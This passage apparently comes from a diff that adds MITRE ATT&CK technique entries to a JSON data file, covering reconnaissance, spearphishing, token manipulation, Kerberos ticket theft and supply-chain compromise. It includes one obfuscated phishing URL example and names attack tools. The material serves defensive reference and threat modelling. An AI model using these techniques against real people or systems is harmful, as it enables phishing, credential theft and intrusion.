token to a thread. This behavior is distinct from Token Impersonation/Theft in that this refers to creating a new user token instead of stealing or duplicating an existing one.\nTactics: privilege escalation, stealth\nPlatforms: Windows" + }, + { + "id": "T1593.001", + "text": "ATT&CK technique: T1593.001 Social Media\nDescription: Adversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff. Adversaries may search in different social media sites depending on what information they seek to gather. Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to elicit victim’s into revealing specific information (i.e. Spearphishing Service). Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Spearphishing via Service).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1098", + "text": "ATT&CK technique: T1098 Account Manipulation\nDescription: Adversaries may manipulate accounts to maintain and/or elevate access to victim systems. Account manipulation may consist of any action that preserves or modifies adversary access to a compromised account, such as modifying credentials or permission groups. These actions could also include account activity designed to subvert security policies, such as performing iterative password updates to bypass password duration policies and preserve the life of compromised credentials. In order to create or manipulate accounts, the adversary must already have sufficient permissions on systems or the domain. However, account manipulation may also lead to privilege escalation where modifications grant access to additional roles, permissions, or higher-privileged Valid Accounts.\nTactics: persistence, privilege escalation\nPlatforms: Containers, ESXi, IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1036.010", + "text": "ATT&CK technique: T1036.010 Masquerade Account Name\nDescription: Adversaries may match or approximate the names of legitimate accounts to make newly created ones appear benign. This will typically occur during Create Account, although accounts may also be renamed at a later date. This may also coincide with Account Access Removal if the actor first deletes an account before re-creating one with the same name. Often, adversaries will attempt to masquerade as service accounts, such as those associated with legitimate software, data backups, or container cluster management. They may also give accounts generic, trustworthy names, such as “admin”, “help”, or “root.” Sometimes adversaries may model account names off of those already existing in the system, as a follow-on behavior to Account Discovery. Note that this is distinct from Impersonation, which describes impersonating specific trusted individuals or organizations, rather than user or service account names.\nTactics: stealth\nPlatforms: Containers, IaaS, Identity Provider, Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1674", + "text": "ATT&CK technique: T1674 Input Injection\nDescription: Adversaries may simulate keystrokes on a victim’s computer by various means to perform any type of action on behalf of the user, such as launching the command interpreter using keyboard shortcuts, typing an inline script to be executed, or interacting directly with a GUI-based application. These actions can be preprogrammed into adversary tooling or executed through physical devices such as Human Interface Devices (HIDs). For example, adversaries have used tooling that monitors the Windows message loop to detect when a user visits bank-specific URLs. If detected, the tool then simulates keystrokes to open the developer console or select the address bar, pastes malicious JavaScript from the clipboard, and executes it - enabling manipulation of content within the browser, such as replacing bank account numbers during transactions. Adversaries have also used malicious USB devices to emulate keystrokes that launch PowerShell, leading to the download and execution of malware from adversary-controlled servers.\nTactics: execution\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1598.003", + "text": "ATT&CK technique: T1598.003 Spearphishing Link\nDescription: Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`. Adversaries may also embed “tracking pixels,” \"web bugs,\" or \"web beacons\" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address. These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server. Adversaries may also be able to spoof a complete website using what is known as a \"browser-in-the-browser\" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods. Adversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to perform adversary-in-the-middle phishing by proxying the connection between the victim and the legitimate website. On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., Steal Web Session Cookie) in addition to their username and password. This may enable the adversary to then bypass MFA via Web Session Cookie. Adversaries may also send a malicious link in the form of Quick Response (QR) Codes (also known as “quishing”). These links may direct a victim to a credential phishing page. By using a QR code, the URL may not be exposed in the email and may thus go undetected by most automated email security scans. These QR codes may be scanned by or delivered directly to a user’s mobile device (i.e., Phishing), which may be less secure in several relevant ways. For example, mobile users may not be able to notice minor differences between genuine and credential harvesting websites due to mobile’s smaller form factor. From the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1596.003", + "text": "ATT&CK technique: T1596.003 Digital Certificates\nDescription: Adversaries may search public digital certificate data for information about victims that can be used during targeting. Digital certificates are issued by a certificate authority (CA) in order to cryptographically verify the origin of signed content. These certificates, such as those used for encrypted web traffic (HTTPS SSL/TLS communications), contain information about the registered organization such as name and location. Adversaries may search digital certificate data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about certificates. Digital certificate data may also be available from artifacts signed by the organization (ex: certificates used from encrypted web traffic are served with content). Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Phishing for Information), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1593.002", + "text": "ATT&CK technique: T1593.002 Search Engines\nDescription: Adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes). Adversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Valid Accounts or Phishing).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1586.002", + "text": "ATT&CK technique: T1586.002 Email Accounts\nDescription: Adversaries may compromise email accounts that can be used during targeting. Adversaries can use compromised email accounts to further their operations, such as leveraging them to conduct Phishing for Information, Phishing, or large-scale spam email campaigns. Utilizing an existing persona with a compromised email account may engender a level of trust in a potential victim if they have a relationship with, or knowledge of, the compromised persona. Compromised email accounts can also be used in the acquisition of infrastructure (ex: Domains). A variety of methods exist for compromising email accounts, such as gathering credentials via Phishing for Information, purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials. Prior to compromising email accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Adversaries may target compromising well-known email accounts or domains from which malicious spam or Phishing emails may evade reputation-based email filtering rules. Adversaries can use a compromised email account to hijack existing email threads with targets of interest.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1596.004", + "text": "ATT&CK technique: T1596.004 CDNs\nDescription: Adversaries may search content delivery network (CDN) data about victims that can be used during targeting. CDNs allow an organization to host content from a distributed, load balanced array of servers. CDNs may also allow organizations to customize content delivery based on the requestor’s geographical region. Adversaries may search CDN data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about content servers within a CDN. Adversaries may also seek and target CDN misconfigurations that leak sensitive information not intended to be hosted and/or do not have the same protection mechanisms (ex: login portals) as the content hosted on the organization’s website. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: Drive-by Compromise).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1134", + "text": "ATT&CK technique: T1134 Access Token Manipulation\nDescription: Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token. An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. Token Impersonation/Theft) or used to spawn a new process (i.e. Create Process with Token). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system. Any standard user can use the runas command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.\nTactics: privilege escalation, stealth\nPlatforms: Windows" + }, + { + "id": "T1597.002", + "text": "ATT&CK technique: T1597.002 Purchase Technical Data\nDescription: Adversaries may purchase technical information about victims that can be used during targeting. Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets. Adversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches. Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim’s infrastructure. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1204.005", + "text": "ATT&CK technique: T1204.005 Malicious Library\nDescription: Adversaries may rely on a user installing a malicious library to facilitate execution. Threat actors may Upload Malware to package managers such as NPM and PyPi, as well as to public code repositories such as GitHub. User may install libraries without realizing they are malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that establishes persistence, steals data, or mines cryptocurrency. In some cases, threat actors may compromise and backdoor existing popular libraries (i.e., Compromise Software Dependencies and Development Tools). Alternatively, they may create entirely new packages and leverage behaviors such as typosquatting to encourage users to install them.\nTactics: execution\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1584.006", + "text": "ATT&CK technique: T1584.006 Web Services\nDescription: Adversaries may compromise access to third-party web services that can be used during targeting. A variety of popular websites exist for legitimate users to register for web-based services, such as GitHub, Twitter, Dropbox, Google, SendGrid, etc. Adversaries may try to take ownership of a legitimate user's access to a web service and use that web service as infrastructure in support of cyber operations. Such web services can be abused during later stages of the adversary lifecycle, such as during Command and Control (Web Service), Exfiltration Over Web Service, or Phishing. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, particularly when access is stolen from legitimate users, adversaries can make it difficult to physically tie back operations to them. Additionally, leveraging compromised web-based email services may allow adversaries to leverage the trust associated with legitimate domains.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1219.003", + "text": "ATT&CK technique: T1219.003 Remote Access Hardware\nDescription: An adversary may use legitimate remote access hardware to establish an interactive command and control channel to target systems within networks. These services, including IP-based keyboard, video, or mouse (KVM) devices such as TinyPilot and PiKVM, are commonly used as legitimate tools and may be allowed by peripheral device policies within a target environment. Remote access hardware may be physically installed and used post-compromise as an alternate communications channel for redundant access or as a way to establish an interactive remote session with the target system. Using hardware-based remote access tools may allow threat actors to bypass software security solutions and gain more control over the compromised device(s).\nTactics: command and control\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1586.001", + "text": "ATT&CK technique: T1586.001 Social Media Accounts\nDescription: Adversaries may compromise social media accounts that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating social media profiles (i.e. Social Media Accounts), adversaries may compromise existing social media accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. A variety of methods exist for compromising social media accounts, such as gathering credentials via Phishing for Information, purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps). Prior to compromising social media accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Compromised social media accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos. Adversaries can use a compromised social media profile to create new, or hijack existing, connections to targets of interest. These connections may be direct or may include trying to connect through others. Compromised profiles may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: Spearphishing via Service).\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1056.003", + "text": "ATT&CK technique: T1056.003 Web Portal Capture\nDescription: Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through External Remote Services and Valid Accounts or as part of the initial compromise by exploitation of the externally facing web service.\nTactics: collection, credential access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1212", + "text": "ATT&CK technique: T1212 Exploitation for Credential Access\nDescription: Adversaries may exploit software vulnerabilities in an attempt to collect credentials. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Credentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain authenticated access to systems. One example of this is `MS14-068`, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions. Another example of this is replay attacks, in which the adversary intercepts data packets sent between parties and then later replays these packets. If services don't properly validate authentication requests, these replayed packets may allow an adversary to impersonate one of the parties and gain unauthorized access or privileges. Such exploitation has been demonstrated in cloud environments as well. For example, adversaries have exploited vulnerabilities in public cloud infrastructure that allowed for unintended authentication token creation and renewal. Exploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained.\nTactics: credential access\nPlatforms: Identity Provider, Linux, Windows, macOS" + }, + { + "id": "T1036.005", + "text": "ATT&CK technique: T1036.005 Match Legitimate Resource Name or Location\nDescription: Adversaries may match or approximate the name or location of legitimate files, Registry keys, or other resources when naming/placing them. This is done for the sake of evading defenses and observation. This may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: `svchost.exe`). Alternatively, a Windows Registry key may be given a close approximation to a key used by a legitimate program. In containerized environments, a threat actor may create a resource in a trusted namespace or one that matches the naming convention of a container pod or cluster.\nTactics: stealth\nPlatforms: Containers, ESXi, Linux, Windows, macOS" + }, + { + "id": "T1558.005", + "text": "ATT&CK technique: T1558.005 Ccache Files\nDescription: Adversaries may attempt to steal Kerberos tickets stored in credential cache files (or ccache). These files are used for short term storage of a user's active session credentials. The ccache file is created upon user authentication and allows for access to multiple services without the user having to re-enter credentials. The /etc/krb5.conf configuration file and the KRB5CCNAME environment variable are used to set the storage location for ccache entries. On Linux, credentials are typically stored in the `/tmp` directory with a naming format of `krb5cc_%UID%` or `krb5.ccache`. On macOS, ccache entries are stored by default in memory with an `API:{uuid}` naming scheme. Typically, users interact with ticket storage using kinit, which obtains a Ticket-Granting-Ticket (TGT) for the principal; klist, which lists obtained tickets currently held in the credentials cache; and other built-in binaries. Adversaries can collect tickets from ccache files stored on disk and authenticate as the current user without their password to perform Pass the Ticket attacks. Adversaries can also use these tickets to impersonate legitimate users with elevated privileges to perform Privilege Escalation. Tools like Kekeo can also be used by adversaries to convert ccache files to Windows format for further Lateral Movement. On macOS, adversaries may use open-source tools or the Kerberos framework to interact with ccache files and extract TGTs or Service Tickets via lower-level APIs.\nTactics: credential access\nPlatforms: Linux, macOS" + }, + { + "id": "T1589", + "text": "ATT&CK technique: T1589 Gather Victim Identity Information\nDescription: Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, security question responses, etc.) as well as sensitive details such as credentials or multi-factor authentication (MFA) configurations. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about users could also be enumerated via other active means (i.e. Active Scanning) such as probing and analyzing responses from authentication services that may reveal valid usernames in a system or permitted MFA /methods associated with those usernames. Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: Phishing or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1596.005", + "text": "ATT&CK technique: T1596.005 Scan Databases\nDescription: Adversaries may search within public scan databases for information about victims that can be used during targeting. Various online services continuously publish the results of Internet scans/surveys, often harvesting information such as active IP addresses, hostnames, open ports, certificates, and even server banners. Adversaries may search scan databases to gather actionable information. Threat actors can use online resources and lookup tools to harvest information from these services. Adversaries may seek information about their already identified targets, or use these datasets to discover opportunities for successful breaches. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Exploit Public-Facing Application).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1649", + "text": "ATT&CK technique: T1649 Steal or Forge Authentication Certificates\nDescription: Adversaries may steal or forge certificates used for authentication to access remote systems or resources. Digital certificates are often used to sign and encrypt messages and/or files. Certificates are also used as authentication material. For example, Entra ID device certificates and Active Directory Certificate Services (AD CS) certificates bind to an identity and can be used as credentials for domain accounts. Authentication certificates can be both stolen and forged. For example, AD CS certificates can be stolen from encrypted storage (in the Registry or files), misplaced certificate files (i.e. Unsecured Credentials), or directly from the Windows certificate store via various crypto APIs. With appropriate enrollment rights, users and/or machines within a domain can also request and/or manually renew certificates from enterprise certificate authorities (CA). This enrollment process defines various settings and permissions associated with the certificate. Of note, the certificate’s extended key usage (EKU) values define signing, encryption, and authentication use cases, while the certificate’s subject alternative name (SAN) values define the certificate owner’s alternate names. Abusing certificates for authentication credentials may enable other behaviors such as Lateral Movement. Certificate-related misconfigurations may also enable opportunities for Privilege Escalation, by way of allowing users to impersonate or assume privileged accounts or permissions via the identities (SANs) associated with a certificate. These abuses may also enable Persistence via stealing or forging certificates that can be used as Valid Accounts for the duration of the certificate's validity, despite user password resets. Authentication certificates can also be stolen and forged for machine accounts. Adversaries who have access to root (or subordinate) CA certificate private keys (or mechanisms protecting/managing these keys) may also establish Persistence by forging arbitrary authentication certificates for the victim domain (known as “golden” certificates). Adversaries may also target certificates and related services in order to access other forms of credentials, such as Golden Ticket ticket-granting tickets (TGT) or NTLM plaintext.\nTactics: credential access\nPlatforms: Identity Provider, Linux, Windows, macOS" + }, + { + "id": "T1598", + "text": "ATT&CK technique: T1598 Phishing for Information\nDescription: Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from Phishing in that the objective is gathering data from the victim rather than executing malicious code. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns. Adversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means. Victims may also receive phishing messages that direct them to call a phone number where the adversary attempts to collect confidential information. Phishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. Another way to accomplish this is by Email Spoofing the identity of the sender, which can be used to fool both the human recipient as well as automated security tools. Phishing for information may also involve evasive techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., Email Hiding Rules).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1596.001", + "text": "ATT&CK technique: T1596.001 DNS/Passive DNS\nDescription: Adversaries may search DNS data for information about victims that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts. Adversaries may search DNS data to gather actionable information. Threat actors can query nameservers for a target organization directly, or search through centralized repositories of logged DNS query responses (known as passive DNS). Adversaries may also seek and target DNS misconfigurations/leaks that reveal information about internal networks. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Search Victim-Owned Websites or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services or Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1596.002", + "text": "ATT&CK technique: T1596.002 WHOIS\nDescription: Adversaries may search public WHOIS data for information about victims that can be used during targeting. WHOIS data is stored by regional Internet registries (RIR) responsible for allocating and assigning Internet resources such as domain names. Anyone can query WHOIS servers for information about a registered domain, such as assigned IP blocks, contact information, and DNS nameservers. Adversaries may search WHOIS data to gather actionable information. Threat actors can use online resources or command-line utilities to pillage through WHOIS data for information about potential victims. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Phishing for Information), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services or Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1195.001", + "text": "ATT&CK technique: T1195.001 Compromise Software Dependencies and Development Tools\nDescription: Adversaries may manipulate software dependencies and development tools prior to receipt by a final consumer for the purpose of data or system compromise. Applications often depend on external software to function properly. Popular open source projects that are used as dependencies in many applications, such as pip and NPM packages, may be targeted as a means to add malicious code to users of the dependency. This may also include abandoned packages, which in some cases could be re-registered by threat actors after being removed by adversaries. Adversaries may also employ \"typosquatting\" or name-confusion by choosing names similar to existing popular libraries or packages in order to deceive a user. Additionally, CI/CD pipeline components, such as GitHub Actions, may be targeted in order to gain access to the building, testing, and deployment cycles of an application. By adding malicious code into a GitHub action, a threat actor may be able to collect runtime credentials (e.g., via Proc Filesystem) or insert further malicious components into the build pipelines for a second-order supply chain compromise. As GitHub Actions are often dependent on other GitHub Actions, threat actors may be able to infect a large number of repositories via the compromise of a single Action. Targeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.\nTactics: initial access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1668", + "text": "ATT&CK technique: T1668 Exclusive Control\nDescription: Adversaries who successfully compromise a system may attempt to maintain persistence by “closing the door” behind them – in other words, by preventing other threat actors from initially accessing or maintaining a foothold on the same system. For example, adversaries may patch a vulnerable, compromised system to prevent other threat actors from leveraging that vulnerability in the future. They may “close the door” in other ways, such as disabling vulnerable services, stripping privileges from accounts, or removing other malware already on the compromised device. Hindering other threat actors may allow an adversary to maintain sole access to a compromised system or network. This prevents the threat actor from needing to compete with or even being removed themselves by other threat actors. It also reduces the “noise” in the environment, lowering the possibility of being caught and evicted by defenders. Finally, in the case of Resource Hijacking, leveraging a compromised device’s full power allows the threat actor to maximize profit.\nTactics: persistence\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1657", + "text": "ATT&CK technique: T1657 Financial Theft\nDescription: Adversaries may steal monetary resources from targets through extortion, social engineering, technical theft, or other methods aimed at their own financial gain at the expense of the availability of these resources for victims. Financial theft is the ultimate objective of several popular campaign types including extortion by ransomware, business email compromise (BEC) and fraud, \"pig butchering,\" bank hacking, and exploiting cryptocurrency networks. Adversaries may Compromise Accounts to conduct unauthorized transfers of funds. In the case of business email compromise or email fraud, an adversary may utilize Impersonation of a trusted entity. Once the social engineering is successful, victims can be deceived into sending money to financial accounts controlled by an adversary. This creates the potential for multiple victims (i.e., compromised accounts as well as the ultimate monetary loss) in incidents involving financial theft. Extortion by ransomware may occur, for example, when an adversary demands payment from a victim after Data Encrypted for Impact and Exfiltration of data, followed by threatening to leak sensitive data to the public unless payment is made to the adversary. Adversaries may use dedicated leak sites to distribute victim data. Due to the potentially immense business impact of financial theft, an adversary may abuse the possibility of financial theft and seeking monetary gain to divert attention from their true goals such as Data Destruction and business disruption.\nTactics: impact\nPlatforms: Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1550", + "text": "ATT&CK technique: T1550 Use Alternate Authentication Material\nDescription: Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls. Authentication processes generally require a valid identity (e.g., username) along with one or more authentication factors (e.g., password, pin, physical smart card, token generator, etc.). Alternate authentication material is legitimately generated by systems after a user or application successfully authenticates by providing a valid identity and the required authentication factor(s). Alternate authentication material may also be generated during the identity creation process. Caching alternate authentication material allows the system to verify an identity has successfully authenticated without asking the user to reenter authentication factor(s). Because the alternate authentication must be maintained by the system—either in memory or on disk—it may be at risk of being stolen through Credential Access techniques. By stealing alternate authentication material, adversaries are able to bypass system access controls and authenticate to systems without knowing the plaintext password or any additional authentication factors.\nTactics: lateral movement\nPlatforms: Containers, IaaS, Identity Provider, Linux, Office Suite, SaaS, Windows" + }, + { + "id": "T1557.004", + "text": "ATT&CK technique: T1557.004 Evil Twin\nDescription: Adversaries may host seemingly genuine Wi-Fi access points to deceive users into connecting to malicious networks as a way of supporting follow-on behaviors such as Network Sniffing, Transmitted Data Manipulation, or Input Capture. By using a Service Set Identifier (SSID) of a legitimate Wi-Fi network, fraudulent Wi-Fi access points may trick devices or users into connecting to malicious Wi-Fi networks. Adversaries may provide a stronger signal strength or block access to Wi-Fi access points to coerce or entice victim devices into connecting to malicious networks. A Wi-Fi Pineapple – a network security auditing and penetration testing tool – may be deployed in Evil Twin attacks for ease of use and broader range. Custom certificates may be used in an attempt to intercept HTTPS traffic. Similarly, adversaries may also listen for client devices sending probe requests for known or previously connected networks (Preferred Network Lists or PNLs). When a malicious access point receives a probe request, adversaries can respond with the same SSID to imitate the trusted, known network. Victim devices are led to believe the responding access point is from their PNL and initiate a connection to the fraudulent network. Upon logging into the malicious Wi-Fi access point, a user may be directed to a fake login page or captive portal webpage to capture the victim’s credentials. Once a user is logged into the fraudulent Wi-Fi network, the adversary may able to monitor network activity, manipulate data, or steal additional credentials. Locations with high concentrations of public Wi-Fi access, such as airports, coffee shops, or libraries, may be targets for adversaries to set up illegitimate Wi-Fi access points.\nTactics: collection, credential access\nPlatforms: Network Devices" + }, + { + "id": "T1588.002", + "text": "ATT&CK technique: T1588.002 Tool\nDescription: Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: PsExec). Adversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. Tools may also be leveraged for testing – for example, evaluating malware against commercial antivirus or endpoint detection and response (EDR) applications. Tool acquisition may involve the procurement of commercial software licenses, including for red teaming tools such as Cobalt Strike. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries). Threat actors may also crack trial versions of software.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1681", + "text": "ATT&CK technique: T1681 Search Threat Vendor Data\nDescription: Threat actors may seek information/indicators from closed or open threat intelligence sources gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns. These reports may include descriptions of behavior, detailed breakdowns of attacks, atomic indicators such as malware hashes or IP addresses, timelines of a group’s activity, and more. Adversaries may change their behavior when planning their future operations. Adversaries have been observed replacing atomic indicators mentioned in blog posts in under a week. Adversaries have also been seen searching for their own domain names in threat vendor data and then taking them down, likely to avoid seizure or further investigation. This technique is distinct from Threat Intel Vendors in that it describes threat actors performing reconnaissance on their own activity, not in search of victim information.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1558", + "text": "ATT&CK technique: T1558 Steal or Forge Kerberos Tickets\nDescription: Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable Pass the Ticket. Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as “realms”, there are three basic participants: client, service, and Key Distribution Center (KDC). Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting. Adversaries may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access. On Windows, the built-in klist utility can be used to list and analyze cached Kerberos tickets.\nTactics: credential access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1534", + "text": "ATT&CK technique: T1534 Internal Spearphishing\nDescription: After they already have access to accounts or systems within the environment, adversaries may use internal spearphishing to gain access to additional information or compromise other users within the same organization. Internal spearphishing is multi-staged campaign where a legitimate account is initially compromised either by controlling the user's device or by compromising the account credentials of the user. Adversaries may then attempt to take advantage of the trusted internal account to increase the likelihood of tricking more victims into falling for phish attempts, often incorporating Impersonation. For example, adversaries may leverage Spearphishing Attachment or Spearphishing Link as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through Input Capture on sites that mimic login interfaces. Adversaries may also leverage internal chat apps, such as Microsoft Teams, to spread malicious content or engage users in attempts to capture sensitive information and/or credentials.\nTactics: lateral movement\nPlatforms: Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1591.004", + "text": "ATT&CK technique: T1591.004 Identify Roles\nDescription: Adversaries may gather information about identities and roles within the victim organization that can be used during targeting. Information about business roles may reveal a variety of targetable details, including identifiable information for key personnel as well as what data/resources they have access to. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about business roles may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance 